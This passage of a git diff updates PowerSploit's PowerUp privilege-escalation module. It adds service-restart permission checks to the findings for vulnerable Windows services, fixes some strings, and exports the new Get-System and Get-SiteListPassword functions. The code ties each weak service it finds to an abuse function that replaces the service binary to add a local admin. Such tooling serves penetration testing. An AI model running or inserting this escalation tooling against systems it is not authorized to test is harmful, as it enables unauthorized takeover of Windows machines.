permissions for '$($TargetService.Name)'" + } - $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result) + $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result) - # populate a list of group SIDs that the current user is a member of - $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid} + # populate a list of group SIDs that the current user is a member of + $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid} - # add to the list the SID of the current user - $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + # add to the list the SID of the current user + $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value - ForEach ($Sid in $Sids){ - ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){ - - # check if the group/user SID is included in the ACE - if ($Sid -eq $Ace.SecurityIdentifier){ - - # convert the AccessMask to a service DACL string - $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object { - if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) { - $_ - } - }) -join "" - - # convert the input DACL to an array - $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_}) - - # counter to check how many DACL permissions were found - $MatchedPermissions = 0 + ForEach ($Sid in $Sids){ + ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){ + + # check if the group/user SID is included in the ACE + if ($Sid -eq $Ace.SecurityIdentifier){ - # check if each of the permissions exists - ForEach ($DaclPermission in $DaclArray){ - if ($DaclString.Contains($DaclPermission.ToUpper())){ - $MatchedPermissions += 1 - } - else{ - break - } + # convert the AccessMask to a service DACL string + $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object { + if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) { + $_ } - # found all permissions - success - if ($MatchedPermissions -eq $DaclArray.Count){ - return $True + }) -join "" + + # convert the input DACL to an array + $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_}) + + # counter to check how many DACL permissions were found + $MatchedPermissions = 0 + + # check if each of the permissions exists + ForEach ($DaclPermission in $DaclArray){ + if ($DaclString.Contains($DaclPermission.ToUpper())){ + $MatchedPermissions += 1 } - } - } + else{ + break + } + } + # found all permissions - success + if ($MatchedPermissions -eq $DaclArray.Count){ + return $True + } + } } - return $False - } - catch{ - Write-Warning "Error: $_" - return $False } + return $False } function Invoke-ServiceStart { @@ -369,7 +360,7 @@ function Invoke-ServiceEnable { try { # enable the service - Write-Verbose "Enabling service '$TargetService.Name'" + Write-Verbose "Enabling service '$($TargetService.Name)'" $Null = sc.exe config "$($TargetService.Name)" start= demand return $True } @@ -417,7 +408,7 @@ function Invoke-ServiceDisable { try { # disable the service - Write-Verbose "Disabling service '$TargetService.Name'" + Write-Verbose "Disabling service '$($TargetService.Name)'" $Null = sc.exe config "$($TargetService.Name)" start= disabled return $True } @@ -458,11 +449,17 @@ function Get-ServiceUnquoted { if ($VulnServices) { ForEach ($Service in $VulnServices){ + try { + $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP' + } catch { + $CanRestart = "Cannot be determined through DACL, try manually." + } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'StartName' $Service.startname $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -ServiceName '$($Service.name)' -Path <HijackPath>" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } @@ -492,12 +489,18 @@ function Get-ServiceFilePermission { $ServiceStartName = $_.startname $ServicePath | Get-ModifiableFile | ForEach-Object { + try { + $CanRestart = Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WPRP' + } catch { + $CanRestart = "Cannot be determined through DACL, try manually." + } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath $Out | Add-Member Noteproperty 'ModifiableFile' $_ $Out | Add-Member Noteproperty 'StartName' $ServiceStartName $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -ServiceName '$ServiceName'" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } @@ -510,7 +513,7 @@ function Get-ServicePermission { This function enumerates all available services and tries to open the service for modification, returning the service object - if the process doesn't failed. + if the process didn't fail. .EXAMPLE @@ -541,11 +544,17 @@ function Get-ServicePermission { # means the change was successful if ($Result -contains "[SC] ChangeServiceConfig SUCCESS"){ + try { + $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP' + } catch { + $CanRestart = "Cannot be determined through DACL, try manually." + } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'StartName' $Service.startname $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($Service.name)'" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } @@ -794,7 +803,7 @@ function Write-ServiceBinary { The service name the EXE will be running under. Required. - .PARAMETER Path + .PARAMETER ServicePath Path to write the binary out to, defaults to the local directory. @@ -920,7 +929,7 @@ function Install-ServiceBinary { <# .SYNOPSIS - Users Write-ServiceBinary to write a C# service that creates a local UserName + Uses Write-ServiceBinary to write a C# service that creates a local UserName and adds it to specified LocalGroup or executes a custom command. Domain users are only added to the specified LocalGroup. @@ -1006,7 +1015,7 @@ function Install-ServiceBinary { Write-Verbose "Backing up '$ServicePath' to '$BackupPath'" try { - Move-Item -Path $ServicePath -Destination $BackupPath -Force + Copy-Item -Path $ServicePath -Destination $BackupPath -Force } catch { Write-Warning "[*] Original path '$ServicePath' for '$ServiceName' does not exist!" diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index 34ebf7b..d3d9a97 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -22,31 +22,33 @@ Description = 'PowerSploit Privesc Module' PowerShellVersion = '2.0' # Functions to export from this module -FunctionsToExport = @( - 'Get-ServiceUnquoted', - 'Get-ServiceFilePermission', - 'Get-ServicePermission', - 'Get-ServiceDetail', - 'Invoke-ServiceAbuse', - 'Write-ServiceBinary', - 'Install-ServiceBinary', - 'Restore-ServiceBinary', +FunctionsToExport = @( 'Find-DLLHijack', 'Find-PathHijack', - 'Write-HijackDll', + 'Get-ApplicationHost', 'Get-RegAlwaysInstallElevated', 'Get-RegAutoLogon', + 'Get-ServiceDetail', + 'Get-ServiceFilePermission', + 'Get-ServicePermission', + 'Get-ServiceUnquoted', + 'Get-UnattendedInstallFile', 'Get-VulnAutoRun', 'Get-VulnSchTask', - 'Get-UnattendedInstallFile', 'Get-Webconfig', - 'Get-ApplicationHost', + 'Install-ServiceBinary', + 'Invoke-AllChecks', + 'Invoke-ServiceAbuse', + 'Restore-ServiceBinary', + 'Write-HijackDll', + 'Write-ServiceBinary', 'Write-UserAddMSI', - 'Invoke-AllChecks' + 'Get-SiteListPassword', + 'Get-System' ) # List of all files packaged with this module -FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md' +FileList = 'Privesc.psm1', 'Get-SiteListPassword.ps1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md' } |